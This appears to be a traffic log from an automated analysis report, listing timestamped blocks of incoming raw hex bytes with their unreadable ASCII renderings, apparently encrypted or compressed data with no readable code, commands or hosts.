18 40 c9 c8 9e 6c fc 0b 5c da 66 80 12 4c 7a 0b 5c c2 66 20 f9 c6 5a 1c b1 dd 1c 1f 7d 9b b5 dd be 58 4f 5b 72 e5 a8 d0 
3a 63 74 e5 f9 a1 c3 3d 76 ef 45 f1 fd a1 d3 15 76 ef 5d d9 5d bd 2b e5 61 f5 30 a3 62 39 76 21 a0 fa b5 aa ee 6c 79 21 
a0 e2 b5 0a 45 e6 89 36 0d fd cf 35 c1 bb 26 f7 02 78 0e ac 42 c6 3a 6f ff 67 b1 27 79 a3 84 e4 bb 15 1e 6f f5 83 2a e4 bb 
0d 1e cf 86 08 22 f3 ce 13 64 f0 02 55 a5 32 c1 96 5f b4 c5 2b b8 3f 8d ad ac 0a 4e 6f 1b d2 c1 21 9d d6 4a 6f 0b 32 c1 21 
85 36 ea cb f3 0a d6 83 e8 4c d5 4f ae 56 16 8c 6d 
Data Ascii: %c#jjWvvjAi}!~.%6AZgNfTSb_^CB@l\fLz\f Z}XO[r:ct=vEv]]+a0b9v!ly!E65&xB:og'yo*"dU2_+?No!Jo2!6LOVm

2022-02-08 23:07:10 UTC 181 IN Data Raw: 9f e4 49 4b 98 6f 03 d0 53 e4 49 7b 80 6f 03 c8 5b e4 49 73 b8 66 dc f8 f8 49 5f 73 b0 73 d4 3d 3b 68 56 75 08 
e3 1e 5c 23 f9 73 60 1f bf 70 ac 59 f8 b3 6f 9a 73 fb 61 b1 c5 8c 5d 8d 42 c4 6e c5 51 ec fe 85 6c 2e 49 51 e3 60 ce b6 00 
eb 80 39 e7 08 c8 2c cc 8b b5 10 f0 c3 ae 56 f3 75 20 dd bd e2 c7 3e 32 aa c3 b5 7a a6 e8 e8 79 9a d4 a0 62 dc d7 16 96 
57 9f 00 1d 1f 93 2b e7 1c af 17 a7 27 93 a0 43 a8 db a4 c8 e0 cd 2f 80 ec e6 6e 82 d0 da ec ca c5 55 a2 4d 22 b6 2d 05 
2e 3d 65 09 05 85 70 35 39 cd 6b 73 3a 7a 3f f8 74 f5 d8 1b 5f 39 a6 27 63 71 a6 ac 2b ee 41 3f a0 a6 ee d8 3b 2d a6 6f 
dc 8e 2d 27 63 69 86 ac 23 6e 05 2e be 6e 0a 21 35 24 95 c6 fe af df 69 19 7c 54 23 ae 9b 8f b7 2c 0c 0d 21 ae 99 8f b5 
25 d9 a0 36 6d 18 2b 7e 54 92 8b 64 d3 da 41 ee 9b 
Data Ascii: IKoSI{o[IsfI_ss=;hVu\#s`pYosa]BnQl.IQ`9,Vu >2zybW+'C/nUM"-.=ep59ks:z?t_9'cq+A?;-o-'ci#n.n!5$i|T#,!
%6m+~TdA

2022-02-08 23:07:10 UTC 183 IN Data Raw: 89 7b b1 39 4a f4 ff ff 83 cc 3d 3c 08 82 f3 24 69 42 30 aa 21 4c 49 69 e3 8f 8a 6d 25 61 bd ac e6 a3 7e 6f 25 
88 dd 7c e6 4b 53 34 e3 03 45 bf ab 0e 6e 97 7b cd ad d9 f3 8a 86 65 89 49 45 ee c7 9f 0e b3 07 5c 81 fb 03 db c9 f0 89 
93 c5 db 30 43 06 18 78 58 40 1b c5 81 08 08 4e c9 04 23 7f be c7 e0 37 a5 81 e3 8a 6c c9 f0 01 24 c5 db 28 7f 06 18 68 
47 3a af d7 cc 74 71 16 0e b7 b2 9d 46 bf 99 d8 fc 7c 5a a2 23 bf 99 61 08 50 e3 a2 cb db ab aa b2 18 68 61 71 5e 6b d6 
b7 27 a8 05 74 e4 83 1c 83 27 40 97 cb 2f 6b f6 69 ec a8 8f aa 2f 63 4c 21 67 6b 67 c3 f8 a8 a4 e8 7b 72 67 2b 3d 71 d0 
e0 b6 39 d8 cb b9 e3 1b 08 f9 1d d1 d3 39 de 12 6e e4 f5 17 bf 27 36 99 f7 22 7e 8f 7c 6a 73 a4 86 ba b0 67 0d f4 7e 5a 
6f 34 bd 71 4d e3 7e b2 66 88 af 71 a5 a3 6f ab 66 60 
Data Ascii: {9J=<$iB0!LIim%a~o%|KS4En{eIE\0CxX@N#7l$(hG:tqF|Z#aPhaq^k't'@/ki/cL!gkg{rg+=q99n'6"~|jsg
~Zo4qM~fqof`

2022-02-08 23:07:10 UTC 199 IN Data Raw: 34 a1 69 b0 7a 32 d4 7c 91 f0 18 97 1b 23 d4 7d db ef 3f ff 38 23 d5 77 eb ef 3e fd 18 23 d4 7d fb ef 3f ff 78 23 
d5 77 8b ef 3e fd 18 23 d4 7d 9b ef 3f ff 38 23 d5 77 ab ef 3e fd 18 64 fe f4 d4 8e 7e 57 5f 4e 67 9b b5 c6 54 10 89 cd e2 
64 a1 82 69 24 8e 09 21 63 69 4a e2 a0 aa 00 65 47 51 8b 2d c0 b6 30 a6 8a 31 d7 55 c2 b6 30 e6 88 31 d7 0d 0f 7b 58 
ea ec f5 10 e1 6b bd 11 6a 23 af e1 60 08 e6 63 a3 cb 6d 23 a4 40 6d 2c 2f 00 42 a7 67 87 a5 1c 2d 00 42 e7 a6 48 c5 00 
15 c3 8f 87 f2 30 08 cd 7d d7 e3 4a 37 50 04 a9 b0 18 86 7a 3f 50 8f f1 77 82 a4 67 f5 41 67 ec b5 46 ec ec 37 0e ef 63 7f 
07 68 2b 7d 4f 7b a1 35 45 51 cf 0e 79 6d c0 81 31 72 4a cb a1 a1 c4 81 21 7a 4a cb a9 99 da 5d 3c 0d 58 c8 b7 4d 77 3b 
3c 05 76 bc 74 37 fc f2 e4 ec 77 ba ef c7 ad b5 
Data Ascii: 4iz2|#}?8#w>#}?x#w>#}?8#w>d~W_NgTdi$!ciJeGQ-01U01{Xkj#`cm#@m,/Bg-BH0}J7Pz?PwgAgF7ch+}O{5
EQym1rJ!zJ]<XMw;<vt7w

2022-02-08 23:07:10 UTC 217 IN Data Raw: f1 4a 39 e9 cd 49 bb aa 32 a2 78 1c 07 29 36 93 e0 ca bd db f6 e1 ba ea ca dd 31 a4 45 3a d2 8f b4 9b 11 4c 
3f d5 9e ab dc 9d 85 80 19 aa b9 bc 9b d1 65 7f 58 12 ee 37 53 5a fe 1c d2 68 c2 20 59 26 4d c7 ba 0d 72 f6 86 31 f9 be 
19 d6 6a 35 51 79 8d ae da 31 3a 49 79 ba 7a 4e fa 26 7a 41 f5 29 fc b1 ff af 0c b2 0f be 26 4a 33 82 1a 45 3c 8d 95 0d 
35 0b 65 0e c5 1a 4f e6 f9 26 73 e9 f6 29 f1 a1 f5 a6 b9 a8 73 56 ba e0 60 7c 61 dc 5c 40 ea 96 c3 a7 21 1d 89 10 c6 c6 
1f 84 44 50 9d 11 c6 c4 16 5f a9 23 b5 60 95 1f 3e 22 ba 7c f9 e1 79 f7 b9 46 9e 64 7a 06 f8 7f ba c5 3b bc fa 62 dc 3f 39 
92 e0 b1 71 a9 6b f9 6b 22 89 46 8c 81 02 08 4a 0b 2b ca 89 84 63 e3 0e ca e7 18 85 84 68 ff 2e 74 79 7d 66 46 f2 37 e1 
a1 79 1c a8 dc ba df 23 92 34 bd d3 83 b6 c6 ef 43 75 
Data Ascii: J9I2x)61E:L?eX7SZh Y&Mr1j5Qy1:IyzN&zA)&J3E<5eO&s)sV`|a\@!DP_#`>"|yFdz;b?9qkk"FJ+ch.ty}fF7y#4Cu

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 219 IN Data Raw: ab 6d 5c a7 21 25 7c 39 21 2a f7 73 be cd 3c f8 f4 62 db 2b 7f 28 6c cc a4 bc ee 59 26 28 65 19 09 cb ee 59 f7 
a4 2d 99 34 67 af d1 1e ed 0f ca 91 a5 3e 41 d9 9f bc 3d 1a 5c 5f fe ac 90 dd b6 a0 bb 96 c1 63 78 1d 8b a5 32 de 4b 66 
b9 90 cb a1 33 68 cf 15 96 20 09 54 55 e0 ca 94 55 6b 91 1f 15 68 56 95 ed 6c e3 5e 66 24 ef 75 c0 1a d3 49 88 12 ef 9f 
d6 30 2d 5c 5d 90 e3 c1 9e 50 20 4a d6 86 ac 89 16 45 e6 4e c4 0d 20 c3 07 cd e3 4c 4f cd a3 4f 88 46 03 44 c2 80 ff 87 
02 43 74 47 0b c9 3c 52 20 3e 42 91 e3 fc 9c 7c 20 3c 5f 3a 0e 8b 94 b1 46 87 bf 68 78 bb 83 e3 30 24 64 60 bb 6c cb 87 
30 e7 83 30 d7 74 08 70 d0 97 8a ec 52 0a 16 ec 5d 81 5e eb cd 0a 1c c4 3e c8 df 07 ce d0 50 49 45 03 df 07 c2 e4 2c 49 
52 34 28 ca 81 f7 ea 09 42 7c a0 96 a5 9f 9c 40 db bc 
Data Ascii: m\!%|9!*s<b+(lY&(eY-4g>A=\_cx2Kf3h TUUkhVl^f$uI0-\]P JEN LOOFDCtG<R >B| <_:Fhx0$d`l00tpR
]^>PIE,IR4(B|@

2022-02-08 23:07:10 UTC 221 IN Data Raw: 4f 23 f5 23 cd b7 7e 63 e2 34 36 7a 69 7c 0c f1 29 71 30 cd ff bf 24 0f 3c 34 6a 80 db d7 ed c8 db 5c a5 dc 95 
37 06 f5 56 f4 2d d5 c4 37 ee 5e 8a b8 09 bd a1 4e 99 7e 62 c5 d7 f1 85 26 58 b9 b6 0d 47 2b 75 ce cc 65 fa 29 2f e2 b2 
12 04 02 20 d1 c7 89 6e 5e 20 6a e5 16 3b 41 d0 84 f8 82 98 bf d3 52 a2 83 ef 7a 7e 01 a7 6e f4 49 aa 45 29 8e 69 86 a2 
c6 5a 0d e2 fd 66 bb 6a 87 4d 7b a9 44 71 ad bc 51 b3 6e 80 87 e8 7b 42 44 10 7d f3 50 6a f8 30 93 a9 d3 35 bf 95 ef 4f 
94 55 2c 8c a8 83 58 99 6a 40 d3 d1 67 6b f5 69 a5 a8 7e 21 3a 4f dd aa 72 e0 3a 01 f9 a8 8d e6 4a 23 cd e1 c9 a1 51 63 
54 3d 51 e5 a4 37 d6 ad a0 bc 9e bd 2b f4 95 96 2f 4c 57 55 07 4e 58 5a 08 c5 12 c5 ef 0e 99 8f 58 e9 4a 19 cc 6b df 92 
82 c4 38 e8 09 86 17 fb ca 45 d4 b3 d3 ce 9c 89 23 fb 
Data Ascii: O##~c46zi|)q0$<4j\7V-7^N~b&XG+ue)/ n^ j;ARz~nIE)iZfjM{DqQn{BD}Pj05OU,Xj@gki~!:Or:J#QcT=Q
7+/LWUNXZXJk8E#

2022-02-08 23:07:10 UTC 223 IN Data Raw: 2b 26 e4 0e e8 a9 aa c0 71 a6 6b 03 f7 56 68 88 bf 5d 11 b4 7d 91 d2 88 ab 83 dd 4a 68 c5 de fd b4 4e 96 33 
41 41 57 f0 ca 07 5d 47 1a 3b 8b 67 17 f9 48 ec 5f 37 af e3 9e f4 93 35 ab f9 51 f6 97 37 1a 06 57 f4 91 44 50 8f 52 87 93 
8f d9 cf 94 04 93 54 5f 8f d9 e7 8c 04 93 5c 57 92 18 12 fc f0 93 50 d3 93 50 93 10 d3 f6 b7 d3 23 f5 3d 9b 10 72 75 9a 9b 
3a 67 11 d5 b4 53 9b 9d 8e d8 d1 1b a6 92 57 2b 8d d6 dd e8 4e 5d 93 66 7a 76 7a ef b9 b5 b6 9b b2 f3 bc 57 ff b9 7f 94 
3c f1 65 1f 72 67 b1 94 3c e9 85 16 47 6a 46 d5 84 41 c7 5c 47 82 37 5f c8 cc b1 77 43 82 27 a3 b3 88 ac e9 35 ac 27 a3 
b3 80 1b 75 60 8f d9 b6 26 8c 6e 38 ad cc c9 df 46 0f 42 9f e1 e8 a1 5c 6e a6 27 78 e8 56 2d 88 f9 dd 65 85 fd 5b 41 47 
3e 98 82 43 b8 a8 43 80 7b 6b 7f 56 50 63 bd 95 16 
Data Ascii: +&qkVh]}JhN3AAW]G;gH_75Q7WDPRT_\WPP#=ru:gSW+N]fzvzW<erg<GjFA\G7_wC'5'u`&n8FB\n'xV-
e[AG>CC{kVPc

2022-02-08 23:07:10 UTC 225 IN Data Raw: b4 63 6a b7 77 48 dd eb b4 8b 56 a3 34 58 dd ed a3 bf 4e 66 e9 0c 9d ed a1 c4 1f 96 62 03 dc 55 2a 3e f7 61 
1a 02 cb 27 19 b4 18 6f 89 7f 56 e2 4d 54 f5 fe 71 68 df d9 b2 ab 1c 29 a3 5b 16 15 75 69 11 d7 b6 97 d2 10 75 54 62 c8 
fe 1a 35 2f 6d d1 f6 ec 17 12 31 2f d4 2e e7 3b d3 ec 24 b0 9d 93 c3 23 56 50 00 a8 1e d0 db 23 56 1e 74 cb 96 dd f2 3b 
95 56 b8 bc 72 d5 33 f4 f2 06 bc ba 7d e1 2f 31 37 66 c8 ca 7f e6 2b 41 35 59 cc b2 b7 17 5f 73 3c 5d e8 94 d7 17 6f 73 
34 2b b9 ab 33 e9 7a ed 30 5e be 96 f2 9d 7d 55 da 2d 41 83 bb 28 83 40 45 c9 45 83 86 7f a2 08 7c 89 65 0f be 4a d2 d7 
fe b4 2a 3f 3e 77 e8 89 ef fc a6 1e 08 6f 29 56 0c e4 61 5e 27 7a 5c 62 1b 52 dd 5e cd e0 d8 9c 0e a0 e3 08 b8 7c 68 40 
38 af 28 bb 8b 19 fd 30 71 ef f2 30 b3 2c 45 fe 8f fa d2 
Data Ascii: cjwHV4XNfbU*>a'oVMTqh)[uiuTb5/m1/.;$#VP#Vt;Vr3}/17f+A5Y_s<]os4+3z0^}U-A(@EE|eJ*?>wo)Va^'
z\bR^|h@8(0q0,E

2022-02-08 23:07:10 UTC 227 IN Data Raw: 8d 76 cf 2d c5 64 44 63 4a 83 a7 48 8b 7a 64 8b 00 34 eb 6c e3 4d 28 ef 20 8e 03 ef d8 4d c0 64 90 46 4b 2c 
8b 6d a0 ea 48 ae 2b a2 40 e8 28 15 95 63 66 c3 60 a4 a5 00 4b 7a 03 c3 88 f1 4b cb a3 63 3e 08 60 4b f8 23 89 3d 3b 
e0 02 75 33 cb fb 22 f0 08 70 62 f7 8b e8 62 7c c1 77 85 b7 55 fc c5 98 c6 76 8d a3 41 3e 8c 28 09 2c 07 66 86 cb fc 4d 
de 31 3f 8e 55 7f b0 69 b6 06 f3 aa 75 c5 d8 8d 7c f9 e4 06 32 76 03 fd 19 27 f9 3e da ac b7 b1 3d 4f ff a2 16 72 f6 9e 2a 
4e 20 f9 55 8c e3 72 1b 5a e1 73 d9 99 6a 3d 56 7e 89 ba 1e 7d a2 6d 16 41 9e e6 58 ce 79 05 73 9b 83 c6 b0 10 cd 49 
57 f3 85 52 7c 5a 8d 6e 40 d8 f6 bb 83 1b 35 30 cb 10 7d 20 f7 04 f6 6e 78 e3 15 45 d8 ea 29 79 53 a2 b6 9e f0 29 f6 99 
63 b5 f6 12 2b b2 7d 58 b0 79 f6 12 03 aa 7d 58 b8 71 eb da 
Data Ascii: v-dDcJHzd4lM( MdFK,mH+@(cf`KzKc>`K#=;u3"pbb|wUvA>(,fM1?Uiu|2v'>=Or*N UrZsj=V~}mAXysIWR|Z
n@50} nxE)yS)c+}Xy}Xq

2022-02-08 23:07:10 UTC 245 IN Data Raw: a0 2d 31 53 0b 4f ba 11 24 5c 79 d2 e7 d3 31 e0 65 9b 3b 62 2d a1 b9 2a 36 e9 88 01 63 ac 4b c2 e1 d0 e0 01 
22 13 6b 4f ac 07 9b 5e 2a 4f 9f 75 a3 03 5c b6 53 00 d7 f8 dd 14 50 b2 63 00 db f8 e5 74 50 b2 63 08 db f8 e5 0c e7 2e 
98 79 25 ed 1e 89 19 62 50 07 6d ed 1e 81 79 a5 0a c9 71 a1 8c 19 b3 63 4f da 16 e4 05 64 c2 6b 4f da 2e e4 05 64 da 
6b 4f da 3e 40 b2 65 fd 83 f4 66 4b 49 bc 6a 60 d5 f9 a9 a3 fd 78 d3 04 3e bb 10 38 e8 b2 65 fa 2b 35 2d 7c 2f be 65 ea 
5b 39 2f 55 bc c2 a0 1f 03 25 53 94 4d ab 27 1a 05 a6 a0 50 ba 41 4b 1a 0d a6 a8 31 99 6c 6b f2 d1 60 40 15 94 a3 83 9e 
da 2d f7 b5 72 f9 34 76 fd b7 6b 91 ee 74 a8 52 64 3c 30 b1 ee 74 80 5a 64 3c 38 a9 ee 74 18 2b 72 f6 85 b5 72 f9 8a 3e 
3a fe 01 74 a1 35 8a 3e 0a e6 01 74 b9 3d 95 ff f9 12 36 7d 
Data Ascii: -1SO$\y1e;b-*6cK"kO^*Ou\SPctPc.y%bPmyqcOdkO.dkO>@efKIj`x>8e+5-|/e[9/U%SM'PAK1lk`@-r4vktR
d<0tZd<8t+rr>:t5>t=6}

2022-02-08 23:07:10 UTC 261 IN Data Raw: 30 50 24 84 f3 16 27 32 26 2a f1 b6 4a e8 32 fe da 3b 48 75 19 f8 8b f2 51 fb a0 b2 55 c7 9c 39 1d 58 7b ca 96 
18 7c 29 0a 18 f7 63 95 ff 3c e8 df 50 db 3b 54 1a 6c dc 8f 8e ee 49 0d 1a 65 09 22 b9 ee 41 38 c3 1e 82 fb 00 94 ca c1 
8a 34 f9 4a c2 1d d2 33 70 de 11 b8 3e 51 f6 3b bc 2a b5 f8 7f e9 3e b0 6c c2 5a 5a af 01 d1 14 20 e6 52 3f ea 0c 91 fc ac 
0f 5d bb 19 cd 9e 78 25 c6 52 3f a5 04 91 fc 99 0f 5d bb 7a cd 9e 78 46 c6 52 3f 82 04 91 fc be 0f 5d bb 93 cc 9e 78 af c7 
52 3f db 04 91 fc e7 0f 26 63 db 04 91 82 e7 0f 27 fb 1d 8f c4 4c 6b 75 44 97 dc 06 cf d9 0b eb 40 91 0f 60 08 99 24 97 cd 
5a e7 bd 1b 98 24 7e 90 d6 ab 99 13 fd 8d 73 d0 3e 06 3d 5f d9 85 ba 93 ad b6 91 d7 44 75 52 5c 0a fa b5 df 85 b2 8e f4 
3c 5b 4d 37 7c e3 96 f4 b0 a4 38 c8 8c 98 42 
Data Ascii: 0P$'2&*J2;HuQU9X{|)c<P;TlIe"A84J3p>Q;*>lZZ R?]x%R?]zxFR?]xR?&c'LkuD@`$Z$~s>=_DuR\<[M7|8B

2022-02-08 23:07:10 UTC 263 IN Data Raw: 81 5f b3 45 02 99 70 86 88 d1 42 0c c0 fa cd 44 f1 c6 1b c8 95 04 d8 43 dd 53 3f c8 1b 90 fc 43 53 9b c0 95 b6 
f0 02 56 46 e8 8d 1e 45 63 cb 1d f3 a7 3b 1e d9 c7 f8 dd 1a 8f bf 3a 89 49 7c f9 06 89 7f b9 2a 4c c8 53 16 40 7e 76 98 08
75 fd d2 97 92 0e 22 86 14 fe 21 0c 5c f3 25 8b bb 18 e2 48 78 db 69 02 cf 3c 8a 3e 19 90 ec fc da b8 35 73 92 b5 c5 62 
62 bf 4e 28 fd 58 a5 2c 7a bf 46 eb b9 7c 85 d7 6f 94 e3 15 ac 1f ab 2e 27 59 a8 99 7b d2 e6 0e 9c 51 6d 46 97 55 ea a1 
24 9d 29 72 e7 a1 ff c4 80 63 3c 82 83 d4 7a 09 cd 43 9d 8a 46 0b 91 01 0c 64 76 02 cf a7 b5 3e 19 47 d3 fc da 01 d0 30 
9d a5 ec 0c a1 2e a4 00 9d f8 35 67 5f 3b 75 5c 63 f7 23 5c 2b f7 ac 12 74 10 7f d4 b7 d3 f5 9c 2f 00 7f d4 87 db f5 9c 37 
38 7f d4 8f d3 f5 9c af 51 68 9c 24 1b f7 7b ef 
Data Ascii: _EpBDCS?CSVFEc;:I|*LS@~vu"!\%Hxi<>5sbbN(X,zF|o.'Y{QmFU$)rc<zCFdv>G0.5g_;u\c#\+t/78Qh${

2022-02-08 23:07:10 UTC 265 IN Data Raw: f1 fc a2 53 7a b4 6a 6f ac 5e 36 ad 6f 76 fe d7 ae b4 3d 14 92 62 02 4a 50 a1 f2 49 78 67 89 8b bb a4 4a 00 f3 
3b ad 93 78 73 1a 74 e3 f8 5a 73 60 64 5a 7c 6f 6b d9 ec e4 2b f6 0f 6f 63 ec 84 27 a9 67 ca a5 95 ec 8a 9e ab 58 4f a2 
7d 7f 12 60 be f4 5a e8 75 7f 14 6a 49 f4 54 51 77 40 91 6d a1 53 cc af 62 d8 8c a8 81 40 8c a7 8e c3 1c 2c ce ec 9f a7 
86 32 f7 a4 47 f1 70 ec 46 7a 38 fe cd 34 b7 19 2e 1f f3 c3 ed dc 78 8d 62 3b 9b a6 88 e2 58 65 44 96 5b 4d 96 6c 9b fb 
5c 16 59 38 9f d5 fc 72 17 2c 77 3a 8f df fc 7c 97 69 d5 57 41 af 16 94 ca ef 11 17 52 ef 1e 18 5d 64 56 1f d6 2e cd d4 5d 
64 7e 07 d6 2e c5 dc 40 ac 52 5e d6 2e c7 dc 42 a5 89 77 20 2e cb 58 33 ed 08 9b b8 a5 32 1d f0 96 7a 04 8d 6a b9 c7 
4e e1 f7 49 35 11 e6 ce 7d 14 60 02 09 2e 65 84 7d ed 
Data Ascii: Szjo^6ov=bJPIxgJ;xstZs`dZ|ok+oc'gXO}`ZujITQw@mSb@,2GpFz84.xb;XeD[Ml\Y8r,w:|iWAR]dV.]d~.@R^.Bw 
.X32zjNI5}`.e}

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 267 IN Data Raw: c0 3f 6d 86 4b 77 78 0d 03 7f 53 ad c8 bc 90 85 08 fc 9b b9 83 b4 04 5e 10 3f 4c e9 f7 a4 c7 a9 f0 27 5b a9 ff 
28 d8 39 74 68 f7 da 3c a2 7d 92 27 9e ab 9e 7d 5c 68 11 33 92 bb 6b f2 51 4b 7a 78 19 41 3a c2 92 83 8c 05 68 41 3b 
d2 e7 0f fd eb e3 ce 3e 60 a3 cc 9d 5c a2 46 65 57 1c 9a 4d 76 97 3a 4c f4 ec f3 8f 37 2f 78 c1 f8 ac f3 c3 da 6a 72 8b 4d 
a0 e9 02 05 2f 23 91 39 3f a8 d1 3e dc 30 d1 31 d3 bb 9b ae 34 70 10 e4 9b 97 c3 6f d1 20 24 b4 45 a2 b3 36 d3 20 26 b4 
47 ab 66 9b a4 20 26 65 f3 5b e7 a6 30 d1 af 9d b7 99 9e 12 ff bb 28 c0 85 78 eb 13 46 53 27 bc 85 90 ac f6 43 2b d7 37 
80 ad 9f d8 67 2f df f5 a0 ad 97 fb 9c 7b 7b a1 5e b8 8b 8f d5 f6 55 c2 ae 37 96 8a 9d bc d8 5c 3b c7 19 9f c1 77 3a 53 87 
07 f9 90 44 47 41 7b 86 8b 07 11 45 48 c4 9a e5 4e 
Data Ascii: ?mKwxS^?L'[(9th<}'}\h3kQKzxA:hA;>`\FeWMv:L7/xjrM/#9?>014po $E6 &Gf &e[0(xFS'C+7g/{{^U7\;
w:SDGA{EHN

2022-02-08 23:07:10 UTC 269 IN Data Raw: 48 b4 a8 11 00 3f 7b 9a 4a b1 6f 11 02 3a b4 9a 48 b4 a8 11 00 3f 4b 9a 4a b1 6f 11 02 3a 84 9a 4a b9 77 11 
00 3f 43 9a 48 be b8 11 02 30 94 9a 4c be 90 e3 32 7c 53 20 b9 36 d5 1c 92 74 ec 20 ae 32 ef 96 7f b9 a7 9e 43 6f ac d3 
81 ac 27 9b 89 90 f1 87 c4 52 32 08 8a 0d d5 0b 49 ce 16 81 01 56 f5 0b 49 e6 1e 81 01 c6 9c 1c 9d 58 9c 13 92 57 17 5b 
95 dc 5d c0 5e 57 17 6b 8d dc 5d d8 6e 48 d6 98 41 bb 96 3b 9a 78 66 23 18 30 5d a8 50 01 d6 e0 7a 87 90 e3 c7 76 1b 
a3 60 91 f8 60 e7 d9 fc eb 47 c9 73 a5 c8 2e e0 2e 80 20 67 c6 80 ab a7 d3 bc 7d 40 9e 7e be 06 9d c9 50 4e 1a 2e c3 08 
19 99 25 c8 02 61 39 77 0f 21 32 4b f7 3d fe cd ec 75 fe 46 a4 ea 19 c5 2f a2 b6 22 a4 29 fe 95 43 b2 75 d5 44 41 e9 d5 
04 4a d5 fd 21 45 da 76 6b da 3d bd e0 90 92 5a 33 05 06 d8 
Data Ascii: H?{Jo:H?KJo:Jw?CH0L2|S 6t 2Co'R2IVIXW[]^Wk]nHA;xf#0]Pzv``Gs.. g}@~PN.%a9w!2K=uF/")CuDAJ!Evk=Z3

2022-02-08 23:07:10 UTC 271 IN Data Raw: 5c a8 f5 3e 9f 6b 7e 76 97 40 6d cb 54 83 e6 83 4f 08 a0 80 f8 ce 2b bc f8 78 ef 37 b6 a6 4a 78 74 65 c0 30 79 
e7 c4 f5 2e 24 07 36 12 f2 d8 73 d0 31 5a 3b 55 f6 d1 73 59 bc 17 df b4 7c d4 5d fd e9 13 76 a0 b1 2f 4a 22 f8 ba 81 a9 
b0 b6 aa f8 e8 8a 96 7a 24 fe 03 b5 af b6 0f 9e 71 e9 33 a2 fa a1 e5 87 be 63 26 0c f6 6f ad 0e cf 8c 86 17 97 b0 ba 5f 41 
9f ff 9d 82 14 b7 91 a9 1b ef ad 95 53 39 a8 d1 91 fa 23 99 9d d1 5e c1 a1 ed dc 89 b7 66 94 85 9c 16 cc b9 a0 99 82 7f 
8f d1 40 bc 01 99 4c c5 c2 5b 8f 06 49 13 82 8d 03 8c 65 66 8c c6 c2 81 6f ed cf 1d ac 2e 44 5d a7 12 cf 61 a4 51 30 a4 
67 e7 04 de 9e 24 c7 1d 15 6c d2 e5 17 a0 5e e7 9c e8 52 60 d4 eb 79 86 8c d7 45 0d c4 d9 6e cb 06 1a ad 40 4e 85 4a 
e3 c5 cd e5 04 6e 46 ad b3 89 fd 26 f3 8e 0e a4 6f 0c 
Data Ascii: \>k~v@mTO+x7Jxte0y.$6s1Z;UsY|]v/J"z$q3c&o_AS9#^f@L[Iefo.D]aQ0g$l^R`yEn@NJnF&o

2022-02-08 23:07:10 UTC 273 IN Data Raw: ab 31 b3 47 08 ba f3 40 9b 26 f3 4f 94 29 70 df 1f 69 5f 5c 94 21 81 ac e7 e0 42 2b af e1 c9 63 bd 6a 87 ec 5a 
89 ac c8 60 b5 90 43 2e 3a 77 a0 05 70 4e 9c 39 80 5f 50 4d 8b 77 bb b7 1b b0 0c 6b 5b 08 df aa ed c3 13 de ef 39 93 09 
58 f4 d3 b1 8b 34 65 79 47 40 67 83 c7 97 d1 43 8d 07 16 c8 c5 9f fd 43 83 87 4b 53 08 c7 4c d0 90 c7 43 df 9f 4c 09 40 
78 87 9d cb 38 a8 0e 4c 70 a9 85 04 62 22 cb 8b 85 d1 e0 ce bf ed dc 45 f1 62 3b b6 da 89 02 8a e6 0b 79 43 25 c8 ba b3 
2f 04 ce a8 67 14 e5 2d a4 d7 26 a6 ec ec ad e6 d7 d0 1a 03 fc 2f d8 c0 3f ad a2 00 fc 6e 61 86 0c 6d ea ce 00 25 f9 ca 
87 c2 12 0b 44 01 d1 41 db e6 32 6a 49 de 0e 56 61 11 46 46 1b c7 85 85 d8 ec f5 d0 e4 d0 7e 98 7b 37 dd 13 3b 30 4e 
8f 3b bb 06 88 b0 f1 9d 43 3b bb 36 90 b0 f1 85 4b 24 73 
Data Ascii: 1G@&O)pi_\!B+cjZ`C.:wpN9_PMwk[9X4eyG@gCCKSLCL@x8Lpb"Eb;yC%/g-&/?nam%DA2jIVaFF~
{7;0N;C;6K$s

2022-02-08 23:07:10 UTC 295 IN Data Raw: 56 c3 70 df 1c 84 97 54 dd 47 54 df 97 c0 b3 24 1c 8e f4 c3 a7 49 37 00 57 58 c7 0a 53 1f 20 89 92 dc e3 4b 
51 1f 20 c0 1b 98 c7 23 1f 1f 20 d0 dd dc e3 13 e1 0a 14 aa 23 c9 9f e2 af 2a 14 ac 38 cd e7 87 91 12 25 44 d7 11 93 d4 
5c 59 1f 37 d7 17 48 d0 54 d6 8b 13 7f 40 54 d1 bc 06 57 66 4f 8d 1f ea ac 0b ef e0 2b 43 ea 6b 63 55 d6 bd 22 ef 14 7e 
62 d4 28 c8 87 e8 fe cc 3d 2a 3d 32 cd ce fe f1 7b 14 84 da bb d7 47 e6 6d d9 f2 24 ae e5 24 68 1b 27 e7 90 1b eb a6 00 
27 d7 9a 8f 69 88 7d 1c ae 4b be 96 e6 d3 6d 1c ae 7b b6 96 e6 cb 55 1c ae eb c9 1c a1 e4 42 5c 8e 6f c9 1c 70 0c ad dd 
b3 cf 1a 29 34 87 1b a2 7c 95 90 ec f3 72 73 c7 0a 40 4f fb 81 0e c0 1c 62 25 df 2e 5e 19 54 66 88 a7 30 a7 4b 2d 70 ac 
77 a7 4c af f6 e4 b3 6e 35 52 86 a2 41 59 ad 4a cb 9a 6e 
Data Ascii: VpTGT$I7WXS KQ # #*8%D\Y7HT@TWfO+CkcU"~b(=*=2{Gm$$h''i}Km{UB\op)4|rs@Ob%.^Tf0K-
pwLn5RAYJn

2022-02-08 23:07:10 UTC 309 IN Data Raw: 31 04 fe c2 c1 23 b0 4f 34 08 77 be f7 cb fc f0 78 2c 07 72 03 ef c0 b1 c0 64 88 a1 4f 2c b3 8a 62 06 8f b6 2c 
9b 44 3c 6c 96 78 b7 22 19 9f 4c 09 37 b5 70 35 7f a6 88 35 b3 ea ce f5 70 29 02 b2 ed e9 c1 71 ab ea 0d 36 4a 2e ce f5 
76 27 02 b2 4e e6 c1 71 72 ef 0d 36 d9 2e ce f5 e5 27 02 b2 05 e6 c1 71 39 ef 0d 36 f9 2e ce f5 c5 27 02 b2 1a e5 c1 71 
26 ec 76 eb 1a e5 c0 86 91 ab 4f 61 6a 80 17 4b 56 bc 5d cc b1 4f 1b cf 07 94 90 87 51 c7 50 44 92 4c 18 c8 79 c2 50 ce 
52 3d de 0d 91 bf 96 3b b9 f8 d6 00 7b 34 90 b8 47 08 ac 37 e7 4e c7 f7 24 8d 4c bf 72 ee 8c 7c b1 65 c4 f0 5a 4e 10 7e 
